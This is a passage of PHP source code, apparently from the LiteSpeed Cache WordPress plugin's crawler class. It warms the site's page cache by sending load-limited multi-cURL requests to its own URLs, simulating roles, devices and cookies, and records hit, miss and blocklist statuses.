) { self::debug( 'Skipped the Crawler #' . $this->_summary['curr_crawler'] . ' ......' ); $this->_summary['curr_crawler'] = (int) $this->_summary['curr_crawler'] + 1; } if ( $this->_summary['curr_crawler'] >= $crawlers_count ) { $this->_end_reason = 'end'; $this->_terminate_running(); $this->Release_lane(); return; } // In case crawlers are all done but not reload, reload it. if ( empty( $this->_summary['curr_crawler'] ) || empty( $this->_crawlers[ $this->_summary['curr_crawler'] ] ) ) { $this->_summary['curr_crawler'] = 0; $this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ] = []; } $res = $this->load_conf(); if ( ! $res ) { self::debug( 'Load conf failed' ); $this->_terminate_running(); $this->Release_lane(); return; } try { $this->_engine_start(); $this->Release_lane(); } catch ( \Exception $e ) { self::debug( '🛑 ' . $e->getMessage() ); } } /** * Load conf before running crawler. * * @since 3.0 * @access private * @return bool True on success. */ private function load_conf() { $this->_crawler_conf['base'] = site_url(); $current_crawler = $this->_crawlers[ $this->_summary['curr_crawler'] ]; // Cookies. foreach ( $current_crawler as $k => $v ) { if ( 0 !== strpos( $k, 'cookie:' ) ) { continue; } if ( '_null' === $v ) { continue; } $this->_crawler_conf['cookies'][ substr( $k, 7 ) ] = $v; } // WebP/AVIF simulation. if ( ! empty( $current_crawler['webp'] ) ) { $this->_crawler_conf['headers'][] = 'Accept: image/' . ( 2 === (int) $this->conf( Base::O_IMG_OPTM_WEBP ) ? 'avif' : 'webp' ) . ',*/*'; } // Mobile crawler. if ( ! empty( $current_crawler['mobile'] ) ) { $this->_crawler_conf['ua'] = 'Mobile iPhone'; } // Limit delay to use server setting. $this->_crawler_conf['run_delay'] = 500; // microseconds. if ( defined( 'LITESPEED_CRAWLER_USLEEP' ) && constant( 'LITESPEED_CRAWLER_USLEEP' ) > $this->_crawler_conf['run_delay'] ) { $this->_crawler_conf['run_delay'] = (int) constant( 'LITESPEED_CRAWLER_USLEEP' ); } if ( isset( $_SERVER[ Base::ENV_CRAWLER_USLEEP ] ) ) { $env_usleep = absint( wp_unslash( $_SERVER[ Base::ENV_CRAWLER_USLEEP ] ) ); if ( $env_usleep > (int) $this->_crawler_conf['run_delay'] ) { $this->_crawler_conf['run_delay'] = $env_usleep; } } $this->_crawler_conf['run_duration'] = $this->get_crawler_duration(); $this->_crawler_conf['load_limit'] = (int) $this->conf( Base::O_CRAWLER_LOAD_LIMIT ); if ( isset( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE ] ) ) { $this->_crawler_conf['load_limit'] = absint( wp_unslash( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE ] ) ); } elseif ( isset( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT ] ) ) { $env_limit = absint( wp_unslash( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT ] ) ); if ( $env_limit < (int) $this->_crawler_conf['load_limit'] ) { $this->_crawler_conf['load_limit'] = $env_limit; } } if ( 0 === (int) $this->_crawler_conf['load_limit'] ) { self::debug( '🛑 Terminated crawler due to load limit set to 0' ); return false; } // Role simulation. if ( ! empty( $current_crawler['uid'] ) ) { if ( empty( $this->_server_ip ) ) { self::debug( '🛑 Terminated crawler due to Server IP not set' ); return false; } $vary_name = $this->cls( 'Vary' )->get_vary_name(); $vary_val = $this->cls( 'Vary' )->finalize_default_vary( $current_crawler['uid'] ); $this->_crawler_conf['cookies'][ $vary_name ] = $vary_val; $this->_crawler_conf['cookies']['litespeed_hash'] = Router::cls()->get_hash( $current_crawler['uid'] ); } return true; } /** * Get crawler duration allowance. * * @since 7.0 * @return int Seconds. */ public function get_crawler_duration() { $run_duration = defined( 'LITESPEED_CRAWLER_DURATION' ) ? (int) constant( 'LITESPEED_CRAWLER_DURATION' ) : 900; if ( $run_duration > 900 ) { $run_duration = 900; // reset to default value if defined higher than 900 seconds. } return $run_duration; } /** * Start crawler. * * @since 1.1.0 * @access private * @return void */ private function _engine_start() { // check current load. $this->_adjust_current_threads(); if ( 0 === (int) $this->_cur_threads ) { $this->_end_reason = 'stopped_highload'; self::debug( 'Stopped due to heavy load.' ); return; } // log started time. self::save_summary( [ 'last_start_time' => time() ] ); // set time limit. $max_time = (int) ini_get( 'max_execution_time' ); self::debug( 'ini_get max_execution_time=' . $max_time ); if ( 0 === $max_time ) { $max_time = 300; // hardlimit. } else { $max_time -= 5; } if ( $max_time >= (int) $this->_crawler_conf['run_duration'] ) { $max_time = (int) $this->_crawler_conf['run_duration']; self::debug( 'Use run_duration setting as max_execution_time=' . $max_time ); // phpcs:ignore WordPress.PHP.IniSet.max_execution_time_Disallowed -- Required for crawler functionality. } elseif ( ini_set( 'max_execution_time', $this->_crawler_conf['run_duration'] + 15 ) !== false ) { $max_time = $this->_crawler_conf['run_duration']; self::debug( 'ini_set max_execution_time=' . $max_time ); } self::debug( 'final max_execution_time=' . $max_time ); $this->_max_run_time = $max_time + time(); // mark running. $this->_prepare_running(); // run crawler. $this->_do_running(); $this->_terminate_running(); } /** * Get server load. * * @since 5.5 * @return int Load or -1 if unsupported. */ public function get_server_load() { if ( ! function_exists( 'sys_getloadavg' ) ) { return -1; } $curload = sys_getloadavg(); $curload = (float) $curload[0]; self::debug( 'Server load: ' . $curload ); return $curload; } /** * Adjust threads dynamically. * * @since 1.1.0 * @access private * @return void */ private function _adjust_current_threads() { $curload = $this->get_server_load(); if ( -1 === (int) $curload ) { self::debug( 'set threads=0 due to func sys_getloadavg not exist!' ); $this->_cur_threads = 0; return; } $curload /= (float) $this->_ncpu; $crawler_threads = defined( 'LITESPEED_CRAWLER_THREADS' ) ? (int) constant( 'LITESPEED_CRAWLER_THREADS' ) : 3; $load_limit = (float) $this->_crawler_conf['load_limit']; $current_threads = (int) $this->_cur_threads; if ( -1 === $current_threads ) { // init. if ( $curload > $load_limit ) { $curthreads = 0; } elseif ( $curload >= ( $load_limit - 1 ) ) { $curthreads = 1; } else { $curthreads = (int) ( $load_limit - $curload ); if ( $curthreads > $crawler_threads ) { $curthreads = $crawler_threads; } } } else { // adjust. $curthreads = $current_threads; if ( $curload >= ( $load_limit + 1 ) ) { sleep( 5 ); // sleep 5 secs. if ( $curthreads >= 1 ) { --$curthreads; } } elseif ( $curload >= $load_limit ) { --$curthreads; } elseif ( ( $curload + 1 ) < $load_limit ) { if ( $curthreads < $crawler_threads ) { ++$curthreads; } } } $this->_cur_threads = (int) $curthreads; $this->_cur_thread_time = time(); } /** * Mark running status. * * @since 1.1.0 * @access private * @return void */ private function _prepare_running() { $this->_summary['is_running'] = time(); $this->_summary['done'] = 0; // reset done status. $this->_summary['last_status'] = 'prepare running'; $this->_summary['last_crawled'] = 0; // Current crawler starttime mark. if ( 0 === (int) $this->_summary['last_pos'] ) { $this->_summary['curr_crawler_beginning_time'] = time(); } if ( 0 === (int) $this->_summary['curr_crawler'] && 0 === (int) $this->_summary['last_pos'] ) { $this->_summary['this_full_beginning_time'] = time(); $this->_summary['list_size'] = $this->cls( 'Crawler_Map' )->count_map(); } if ( 'end' === $this->_summary['end_reason'] && 0 === (int) $this->_summary['last_pos'] ) { $this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ] = []; } self::save_summary(); } /** * Take over lane. * * @since 6.1 * @return void */ private function _take_over_lane() { self::debug( 'Take over lane as lane is free: ' . $this->json_local_path() . '.pid' ); File::save( $this->json_local_path() . '.pid', LITESPEED_LANE_HASH ); } /** * Update lane file mtime. * * @since 6.1 * @return void */ private function _touch_lane() { // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_touch touch( $this->json_local_path() . '.pid' ); } /** * Release lane file. * * @since 6.1 * @return void */ public function Release_lane() { $lane_file = $this->json_local_path() . '.pid'; if ( ! file_exists( $lane_file ) ) { return; } self::debug( 'Release lane' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink unlink( $lane_file ); } /** * Check if lane is used by other crawlers. * * @since 6.1 * @param bool $strict_mode Strict check that file must exist. * @return bool True if valid lane. */ private function _check_valid_lane( $strict_mode = false ) { $lane_file = $this->json_local_path() . '.pid'; if ( $strict_mode ) { if ( ! file_exists( $lane_file ) ) { self::debug( 'lane file not existed, strict mode is false [file] ' . $lane_file ); return false; } } $pid = File::read( $lane_file ); if ( $pid && LITESPEED_LANE_HASH !== $pid ) { // If lane file is older than 1h, ignore. if ( ( time() - filemtime( $lane_file ) ) > 3600 ) { self::debug( 'Lane file is older than 1h, releasing lane' ); $this->Release_lane(); return true; } return false; } return true; } /** * Test port for simulator. * * @since 7.0 * @access private * @return bool true if success and can continue crawling, false otherwise. */ private function _test_port() { if ( empty( $this->_server_ip ) ) { if ( empty( $this->_crawlers[ $this->_summary['curr_crawler'] ]['uid'] ) ) { self::debug( 'Bypass test port as Server IP is not set' ); return true; } self::debug( '❌ Server IP not set' ); return false; } if ( defined( 'LITESPEED_CRAWLER_LOCAL_PORT' ) ) { self::debug( '✅ LITESPEED_CRAWLER_LOCAL_PORT already defined' ); return true; } // Don't repeat testing in 120s. if ( ! empty( $this->_summary['test_port_tts'] ) && ( time() - (int) $this->_summary['test_port_tts'] ) < 120 ) { if ( ! empty( $this->_summary['test_port'] ) ) { self::debug( '✅ Use tested local port: ' . $this->_summary['test_port'] ); define( 'LITESPEED_CRAWLER_LOCAL_PORT', (int) $this->_summary['test_port'] ); return true; } return false; } $this->_summary['test_port_tts'] = time(); self::save_summary(); $options = $this->_get_curl_options(); $home = home_url(); File::save( LITESPEED_STATIC_DIR . '/crawler/test_port.html', $home, true ); $url = LITESPEED_STATIC_URL . '/crawler/test_port.html'; $parsed_url = wp_parse_url( $url ); if ( empty( $parsed_url['host'] ) ) { self::debug( '❌ Test port failed, invalid URL: ' . $url ); return false; } $resolved = $parsed_url['host'] . ':443:' . $this->_server_ip; $options[ CURLOPT_RESOLVE ] = [ $resolved ]; $options[ CURLOPT_DNS_USE_GLOBAL_CACHE ] = false; $options[ CURLOPT_HEADER ] = false; self::debug( 'Test local 443 port for ' . $resolved ); // cURL is intentionally used for speed; suppress sniffs in this method. // phpcs:disable WordPress.WP.AlternativeFunctions $ch = curl_init(); curl_setopt_array( $ch, $options ); curl_setopt( $ch, CURLOPT_URL, $url ); $result = curl_exec( $ch ); $test_result = false; if ( curl_errno( $ch ) || $result !== $home ) { if ( curl_errno( $ch ) ) { self::debug( '❌ Test port curl error: [errNo] ' . curl_errno( $ch ) . ' [err] ' . curl_error( $ch ) ); } elseif ( $result !== $home ) { self::debug( '❌ Test port response is wrong: ' . $result ); } self::debug( '❌ Test local 443 port failed, try port 80' ); // Try port 80. $resolved = $parsed_url['host'] . ':80:' . $this->_server_ip; $options[ CURLOPT_RESOLVE ] = [ $resolved ]; $url = str_replace( 'https://', 'http://', $url ); if ( empty( $options[ CURLOPT_HTTPHEADER ] ) || ! in_array( 'X-Forwarded-Proto: https', $options[ CURLOPT_HTTPHEADER ], true ) ) { $options[ CURLOPT_HTTPHEADER ][] = 'X-Forwarded-Proto: https'; } $ch = curl_init(); curl_setopt_array( $ch, $options ); curl_setopt( $ch, CURLOPT_URL, $url ); $result = curl_exec( $ch ); if ( curl_errno( $ch ) ) { self::debug( '❌ Test port curl error: [errNo] ' . curl_errno( $ch ) . ' [err] ' . curl_error( $ch ) ); } elseif ( $result !== $home ) { self::debug( '❌ Test port response is wrong: ' . $result ); } else { self::debug( '✅ Test local 80 port successfully' ); define( 'LITESPEED_CRAWLER_LOCAL_PORT', 80 ); $this->_summary['test_port'] = 80; $test_result = true; } } else { self::debug( '✅ Tested local 443 port successfully' ); define( 'LITESPEED_CRAWLER_LOCAL_PORT', 443 ); $this->_summary['test_port'] = 443; $test_result = true; } self::save_summary(); unset( $ch ); // phpcs:enable return $test_result; } /** * Run crawler. * * @since 1.1.0 * @access private * @return void * @throws \Exception When lane becomes invalid during run. */ private function _do_running() { $options = $this->_get_curl_options( true ); // If is role simulator and not defined local port, check port once. $test_result = $this->_test_port(); if ( ! $test_result ) { $this->_end_reason = 'port_test_failed'; self::debug( '❌ Test port failed, crawler stopped.' ); return; } while ( true ) { $url_chunks = $this->cls( 'Crawler_Map' )->list_map( self::CHUNKS, $this->_summary['last_pos'] ); if ( empty( $url_chunks ) ) { break; } $url_chunks = array_chunk( $url_chunks, (int) $this->_cur_threads ); foreach ( $url_chunks as $rows ) { if ( ! $this->_check_valid_lane( true ) ) { $this->_end_reason = 'lane_invalid'; self::debug( '🛑 The crawler lane is used by newer crawler.' ); throw new \Exception( 'invalid crawler lane' ); } // Update time. $this->_touch_lane(); // multi curl. $rets = $this->_multi_request( $rows, $options ); // check result headers. foreach ( $rows as $row ) { if ( empty( $rets[ $row['id'] ] ) ) { continue; } if ( 428 === (int) $rets[ $row['id'] ]['code'] ) { // HTTP/1.1 428 Precondition Required (need to test) $this->_end_reason = 'crawler_disabled'; self::debug( 'crawler_disabled' ); return; } $status = $this->_status_parse( $rets[ $row['id'] ]['header'], $rets[ $row['id'] ]['code'], $row['url'] ); // B or H or M or N(nocache). self::debug( '[status] ' . $this->_status2title( $status ) . "\t\t [url] " . $row['url'] ); $this->_map_status_list[ $status ][ $row['id'] ] = [ 'url' => $row['url'], 'code' => (int) $rets[ $row['id'] ]['code'], // 201 or 200 or 404. ]; if ( empty( $this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ][ $status ] ) ) { $this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ][ $status ] = 0; } ++$this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ][ $status ]; } // update offset position. $_time = time(); $this->_summary['last_count'] = count( $rows ); $this->_summary['last_pos'] += $this->_summary['last_count']; $this->_summary['last_crawled'] += $this->_summary['last_count']; $this->_summary['last_update_time'] = $_time; $this->_summary['last_status'] = 'updated position'; // check duration. if ( $this->_summary['last_update_time'] > $this->_max_run_time ) { $this->_end_reason = 'stopped_maxtime'; self::debug( 'Terminated due to maxtime' ); return; } // make sure at least each 10s save meta & map status once. if ( $_time - $this->_summary['meta_save_time'] > 10 ) { $this->_map_status_list = $this->cls( 'Crawler_Map' )->save_map_status( $this->_map_status_list, $this->_summary['curr_crawler'] ); self::save_summary(); } // check if need to reset pos each 5s. if ( $_time > $this->_summary['pos_reset_check'] ) { $this->_summary['pos_reset_check'] = $_time + 5; if ( file_exists( $this->_resetfile ) && unlink( $this->_resetfile ) ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink self::debug( 'Terminated due to reset file' ); $this->_summary['last_pos'] = 0; $this->_summary['curr_crawler'] = 0; $this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ] = []; // reset done status. $this->_summary['done'] = 0; $this->_summary['this_full_beginning_time'] = 0; $this->_end_reason = 'stopped_reset'; return; } } // check loads. if ( ( $this->_summary['last_update_time'] - $this->_cur_thread_time ) > 60 ) { $this->_adjust_current_threads(); if ( 0 === (int) $this->_cur_threads ) { $this->_end_reason = 'stopped_highload'; self::debug( '🛑 Terminated due to highload' ); return; } } $this->_summary['last_status'] = 'sleeping ' . (int) $this->_crawler_conf['run_delay'] . 'ms'; usleep( (int) $this->_crawler_conf['run_delay'] ); } } // All URLs are done for current crawler. $this->_end_reason = 'end'; $this->_summary['crawler_stats'][ $this->_summary['curr_crawler'] ]['W'] = 0; self::debug( 'Crawler #' . $this->_summary['curr_crawler'] . ' touched end' ); } /** * If need to resolve DNS or not. * * @since 7.3.0.1 * @return bool */ private function _should_force_resolve_dns() { if ( ! empty( $this->_server_ip ) ) { return true; } if ( ! empty( $this->_crawler_conf['cookies'] ) && ! empty( $this->_crawler_conf['cookies']['litespeed_hash'] ) ) { return true; } return false; } /** * Send multi curl requests. * If res=B/N, bypass request and won't return. * * @since 1.1.0 * @access private * * @param array<int,array<string,mixed>> $rows Rows to crawl. * @param array $options cURL options. * @return array<int,array{header:string,code:int}> */ private function _multi_request( $rows, $options ) { if ( ! function_exists( 'curl_multi_init' ) ) { exit( 'curl_multi_init disabled' ); } // phpcs:disable WordPress.WP.AlternativeFunctions $mh = curl_multi_init(); $crawler_drop_domain = defined( 'LITESPEED_CRAWLER_DROP_DOMAIN' ) ? (bool) constant( 'LITESPEED_CRAWLER_DROP_DOMAIN' ) : false; $curls = []; foreach ( $rows as $row ) { if ( self::STATUS_BLACKLIST === substr( $row['res'], $this->_summary['curr_crawler'], 1 ) ) { continue; } if ( self::STATUS_NOCACHE === substr( $row['res'], $this->_summary['curr_crawler'], 1 ) ) { continue; } if (!function_exists('curl_init')) { exit('curl_init disabled'); } $curls[$row['id']] = curl_init(); // Append URL. $url = $row['url']; if ( $crawler_drop_domain ) { $url = $this->_crawler_conf['base'] . $row['url']; } // IP resolve. if ( $this->_should_force_resolve_dns() ) { $parsed_url = wp_parse_url( $url ); if ( ! empty( $parsed_url['host'] ) ) { $dom = $parsed_url['host']; $port = defined( 'LITESPEED_CRAWLER_LOCAL_PORT' ) ? (int) LITESPEED_CRAWLER_LOCAL_PORT : 443; $resolved = $dom . ':' . $port . ':' . $this->_server_ip; $options[ CURLOPT_RESOLVE ] = [ $resolved ]; $options[ CURLOPT_DNS_USE_GLOBAL_CACHE ] = false; if ( 80 === $port ) { $url = str_replace( 'https://', 'http://', $url ); if ( empty( $options[ CURLOPT_HTTPHEADER ] ) || ! in_array( 'X-Forwarded-Proto: https', $options[ CURLOPT_HTTPHEADER ], true ) ) { $options[ CURLOPT_HTTPHEADER ][] = 'X-Forwarded-Proto: https'; } } self::debug( 'Resolved DNS for ' . $resolved ); } } curl_setopt( $curls[ $row['id'] ], CURLOPT_URL, $url ); self::debug( 'Crawling [url] ' . $url . ( $url === $row['url'] ? '' : ' [ori] ' . $row['url'] ) ); curl_setopt_array( $curls[ $row['id'] ], $options ); curl_multi_add_handle( $mh, $curls[ $row['id'] ] ); } // execute curl. if ( $curls ) { do { $status = curl_multi_exec( $mh, $active ); if ( $active ) { curl_multi_select( $mh ); } } while ( $active && CURLM_OK === $status ); } // curl done. $ret = []; foreach ( $rows as $row ) { if ( self::STATUS_BLACKLIST === substr( $row['res'], $this->_summary['curr_crawler'], 1 ) ) { continue; } if ( self::STATUS_NOCACHE === substr( $row['res'], $this->_summary['curr_crawler'], 1 ) ) { continue; } $ch = $curls[ $row['id'] ]; // Parse header. $header_size = curl_getinfo( $ch, CURLINFO_HEADER_SIZE ); $content = curl_multi_getcontent( $ch ); $header = substr( $content, 0, $header_size ); $ret[ $row['id'] ] = [ 'header' => $header, 'code' => (int) curl_getinfo( $ch, CURLINFO_HTTP_CODE ), ]; curl_multi_remove_handle( $mh, $ch ); unset( $ch ); } curl_multi_close( $mh ); // phpcs:enable return $ret; } /** * Translate the status to title. * * @since 6.0 * @param string $status Status char. * @return string Human title. */ private function _status2title( $status ) { if ( self::STATUS_HIT === $status ) { return '✅ Hit'; } if ( self::STATUS_MISS === $status ) { return '😊 Miss'; } if ( self::STATUS_BLACKLIST === $status ) { return '😅 Blacklisted'; } if ( self::STATUS_NOCACHE === $status ) { return '😅 Blacklisted'; } return '🛸 Unknown'; } /** * Check returned curl header to find if cached or not. * * @since 2.0 * @access private * * @param string $header Response header. * @param int $code HTTP code. * @param string $url URL. * @return string One of status chars. */ private function _status_parse( $header, $code, $url ) { if ( 201 === (int) $code ) { return self::STATUS_HIT; } if ( false !== stripos( $header, 'X-Litespeed-Cache-Control: no-cache' ) ) { // If is from DIVI, taken as miss. if ( defined( 'LITESPEED_CRAWLER_IGNORE_NONCACHEABLE' ) && constant( 'LITESPEED_CRAWLER_IGNORE_NONCACHEABLE' ) ) { return self::STATUS_MISS; } // If blacklist is disabled. if ( ( defined( 'LITESPEED_CRAWLER_DISABLE_BLOCKLIST' ) && constant( 'LITESPEED_CRAWLER_DISABLE_BLOCKLIST' ) ) || apply_filters( 'litespeed_crawler_disable_blocklist', false, $url ) ) { return self::STATUS_MISS; } return self::STATUS_NOCACHE; // Blacklist. } $_cache_headers = [ 'x-litespeed-cache', 'x-qc-cache', 'x-lsadc-cache' ]; foreach ( $_cache_headers as $_header ) { if ( false !== stripos( $header, $_header ) ) { if ( false !== stripos( $header, $_header . ': bkn' ) ) { return self::STATUS_HIT; // Hit. } if ( false !== stripos( $header, $_header . ': miss' ) ) { return self::STATUS_MISS; // Miss. } return self::STATUS_HIT; // Hit. } } // If blacklist is disabled. if ( ( defined( 'LITESPEED_CRAWLER_DISABLE_BLOCKLIST' ) && constant( 'LITESPEED_CRAWLER_DISABLE_BLOCKLIST' ) ) || apply_filters( 'litespeed_crawler_disable_blocklist', false, $url ) ) { return self::STATUS_MISS; } return self::STATUS_BLACKLIST; // Blacklist. } /** * Get curl options. * * @since 1.1.0 * @access private * * @param bool $crawler_only Whether crawler-only UA. * @return array */ private function _get_curl_options( $crawler_only = false ) { $crawler_timeout = defined( 'LITESPEED_CRAWLER_TIMEOUT' ) ? (int) constant( 'LITESPEED_CRAWLER_TIMEOUT' ) : 30; $options = [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_FOLLOWLOCATION => false, CURLOPT_ENCODING => 'gzip', CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_TIMEOUT => $crawler_timeout, // Larger timeout to avoid incorrect blacklist addition #900171. CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_NOBODY => false, CURLOPT_HTTPHEADER => $this->_crawler_conf['headers'], ]; $options[ CURLOPT_HTTPHEADER ][] = 'Cache-Control: max-age=0'; $options[ CURLOPT_HTTP_VERSION ] = CURL_HTTP_VERSION_1_1; // if is walker // $options[ CURLOPT_FRESH_CONNECT ] = true; // Referer. if ( isset( $_SERVER['HTTP_HOST'], $_SERVER['REQUEST_URI'] ) ) { $host = sanitize_text_field( wp_unslash( $_SERVER['HTTP_HOST'] ) ); $uri = sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ); $options[ CURLOPT_REFERER ] = 'http://' . $host . $uri; } // User Agent. if ( $crawler_only ) { if ( 0 !== strpos( (string) $this->_crawler_conf['ua'], self::FAST_USER_AGENT ) ) { $this->_crawler_conf['ua'] = self::FAST_USER_AGENT . ' ' . (string) $this->_crawler_conf['ua']; } } $options[ CURLOPT_USERAGENT ] = (string) $this->_crawler_conf['ua']; // Cookies. $cookies = []; foreach ( $this->_crawler_conf['cookies'] as $k => $v ) { if ( ! $v ) { continue; } $cookies[] = $k . '=' . rawurlencode( $v ); } if ( $cookies ) { $options[ CURLOPT_COOKIE ] = implode( '; ', $cookies ); } return $options; } /** * Self curl to get HTML content. * * @since 3.3 * * @param string $url URL. * @param string $ua User agent. * @param int|false $uid Optional user ID for simulation. * @param string|false $accept Optional Accept header value. * @return string|false HTML on success, false on failure. */ public function self_curl( $url, $ua, $uid = false, $accept = false ) { $this->_crawler_conf['base'] = site_url(); $this->_crawler_conf['ua'] = $ua; if ( $accept ) { $this->_crawler_conf['headers'] = [ 'Accept: ' . $accept ]; } $options = $this->_get_curl_options(); if ( $uid ) { $this->_crawler_conf['cookies']['litespeed_flash_hash'] = Router::cls()->get_flash_hash( $uid ); $parsed_url = wp_parse_url( $url ); if ( ! empty( $parsed_url['host'] ) ) { $dom = $parsed_url['host']; $port = defined( 'LITESPEED_CRAWLER_LOCAL_PORT' ) ? (int) LITESPEED_CRAWLER_LOCAL_PORT : 443; $resolved = $dom . ':' . $port . ':' . $this->_server_ip; $options[ CURLOPT_RESOLVE ] = [ $resolved ]; $options[ CURLOPT_DNS_USE_GLOBAL_CACHE ] = false; $options[ CURLOPT_PORT ] = $port; self::debug( 'Resolved DNS for ' . $resolved ); } } $options[ CURLOPT_HEADER ] = false; $options[ CURLOPT_FOLLOWLOCATION ] = true; // phpcs:disable WordPress.WP.AlternativeFunctions $ch = curl_init(); curl_setopt_array( $ch, $options ); curl_setopt( $ch, CURLOPT_URL, $url ); $result = curl_exec( $ch ); $code = (int) curl_getinfo( $ch, CURLINFO_HTTP_CODE ); unset( $ch ); // phpcs:enable if ( 200 !== $code ) { self::debug( '❌ Response code is not 200 in self_curl() [code] ' . $code ); return false; } return $result; } /** * Terminate crawling. * * @since 1.1.0 * @access private * @return void */ private function _terminate_running() { $this->_map_status_list = $this->cls( 'Crawler_Map' )->save_map_status( $this->_map_status_list, $this->_summary['curr_crawler'] ); if ( 'end' === $this->_end_reason ) { $this->_summary['curr_crawler'] = (int) $this->_summary['curr_crawler'] + 1; // Jump to next crawler. $this->_summary['last_pos'] = 0; // reset last position. $this->_summary['last_crawler_total_cost'] = time() - (int) $this->_summary['curr_crawler_beginning_time']; $count_crawlers = count( $this->list_crawlers() ); if ( $this->_summary['curr_crawler'] >= $count_crawlers ) { self::debug( '_terminate_running Touched end, whole crawled. Reload crawler!' ); $this->_summary['curr_crawler'] = 0; $this->_summary['done'] = 'touchedEnd'; // log done status. $this->_summary['last_full_time_cost'] = time() - (int) $this->_summary['this_full_beginning_time']; } } $this->_summary['last_status'] = 'stopped'; $this->_summary['is_running'] = 0; $this->_summary['end_reason'] = $this->_end_reason; self::save_summary(); } /** * List all crawlers ( tagA => [ valueA => titleA, ... ] ... ). * * @since 1.9.1 * @access public * @return array<int,array<string,mixed>> */ public function list_crawlers() { if ( $this->_crawlers ) { return $this->_crawlers; } $crawler_factors = []; // Add default Guest crawler. $crawler_factors['uid'] = [ 0 => __( 'Guest', 'litespeed-cache' ) ]; // WebP on/off. if ( $this->conf( Base::O_IMG_OPTM_WEBP ) ) { $crawler_factors['webp'] = [ 1 => $this->cls( 'Media' )->next_gen_image_title() ]; if ( apply_filters( 'litespeed_crawler_webp', false ) ) { $crawler_factors['webp'][0] = ''; } } // Guest Mode on/off. if ( $this->conf( Base::O_GUEST ) ) { $vary_name = $this->cls( 'Vary' )->get_vary_name(); $vary_val = 'guest_mode:1'; if ( ! defined( 'LSCWP_LOG' ) ) { $vary_val = md5( $this->conf( Base::HASH ) . $vary_val ); } $crawler_factors[ 'cookie:' . $vary_name ] = [ $vary_val => '', '_null' => '<font data-balloon-pos="up" aria-label="Guest Mode">👒</font>', ]; } // Mobile crawler. if ( $this->conf( Base::O_CACHE_MOBILE ) ) { $crawler_factors['mobile'] = [ 1 => '<font data-balloon-pos="up" aria-label="Mobile">📱</font>', 0 => '', ]; } // Get roles set. foreach ( $this->conf( Base::O_CRAWLER_ROLES ) as $v ) { $role_title = ''; $udata = get_userdata( $v ); if ( isset( $udata->roles ) && is_array( $udata->roles ) ) { $tmp = array_values( $udata->roles ); $role_title = array_shift( $tmp ); } if ( ! $role_title ) { continue; } $crawler_factors['uid'][ $v ] = ucfirst( $role_title ); } // Cookie crawler. foreach ( $this->conf( Base::O_CRAWLER_COOKIES ) as $v ) { if ( empty( $v['name'] ) ) { continue; } $this_cookie_key = 'cookie:' . $v['name']; $crawler_factors[ $this_cookie_key ] = []; foreach ( $v['vals'] as $v2 ) { $crawler_factors[ $this_cookie_key ][ $v2 ] = ( '_null' === $v2 ? '' : '<font data-balloon-pos="up" aria-label="Cookie">🍪</font>' . esc_html( $v['name'] ) . '=' . esc_html( $v2 ) ); } } // Crossing generate the crawler list. $this->_crawlers = $this->_recursive_build_crawler( $crawler_factors ); return $this->_crawlers; } /** * Build a crawler list recursively. * * @since 2.8 * @access private * * @param array<string,array> $crawler_factors Factors. * @param array $group Current group. * @param int $i Factor index. * @return array<int,array> */ private function _recursive_build_crawler( $crawler_factors, $group = [], $i = 0 ) { $current_factor_keys = array_keys( $crawler_factors ); $current_factor = $current_factor_keys[ $i ]; $if_touch_end = ( $i + 1 ) >= count( $crawler_factors ); $final_list = []; foreach ( $crawler_factors[ $current_factor ] as $k => $v ) { $item = $group; // Don't alter $group bcos of loop usage. $item['title'] = ! empty( $group['title'] ) ? $group['title'] : ''; if ( $v ) { if ( $item['title'] ) { $item['title'] .= ' - '; } $item['title'] .= $v; } $item[ $current_factor ] = $k; if ( $if_touch_end ) { $final_list[] = $item; } else { // Inception: next layer. $final_list = array_merge( $final_list, $this->_recursive_build_crawler( $crawler_factors, $item, $i + 1 ) ); } } return $final_list; } /** * Return crawler meta file local path. * * @since 6.1 * @access public * @return string */ public function json_local_path() { return LITESPEED_STATIC_DIR . '/crawler/' . $this->_sitemeta; } /** * Return crawler meta file URL. * * @since 1.1.0 * @access public * @return string|false */ public function json_path() { if ( ! file_exists( LITESPEED_STATIC_DIR . '/crawler/' . $this->_sitemeta ) ) { return false; } return LITESPEED_STATIC_URL . '/crawler/' . $this->_sitemeta; } /** * Create reset pos file. * * @since 1.1.0 * @access public * @return void */ public function reset_pos() { File::save( $this->_resetfile, time(), true ); self::save_summary( [ 'is_running' => 0 ] ); } /** * Display status based by matching crawlers order. * * @since 3.0 * @access public * * @param string $status_row Status string. * @param string $reason_set Comma separated reasons. * @return string HTML dots. */ public function display_status( $status_row, $reason_set ) { if ( ! $status_row ) { return ''; } $_status_list = [ '-' => 'default', self::STATUS_MISS => 'primary', self::STATUS_HIT => 'success', self::STATUS_BLACKLIST => 'danger', self::STATUS_NOCACHE => 'warning', ]; $reason_set = explode( ',', $reason_set ); $status = ''; foreach ( str_split( $status_row ) as $k => $v ) { $reason = isset( $reason_set[ $k ] ) ? $reason_set[ $k ] : ''; if ( 'Man' === $reason ) { $reason = __( 'Manually added to blocklist', 'litespeed-cache' ); } if ( 'Existed' === $reason ) { $reason = __( 'Previously existed in blocklist', 'litespeed-cache' ); } $reason_attr = $reason ? 'data-balloon-pos="up" aria-label="' . esc_attr( $reason ) . '"' : ''; $status .= '<i class="litespeed-dot litespeed-bg-' . esc_attr( $_status_list[ $v ] ) . '" ' . $reason_attr . '>' . ( $k + 1 ) . '</i>'; } return $status; } /** * Handle all request actions from main cls. * * @since 3.0 * @access public * @return void */ public function handler() { $type = Router::verify_type(); 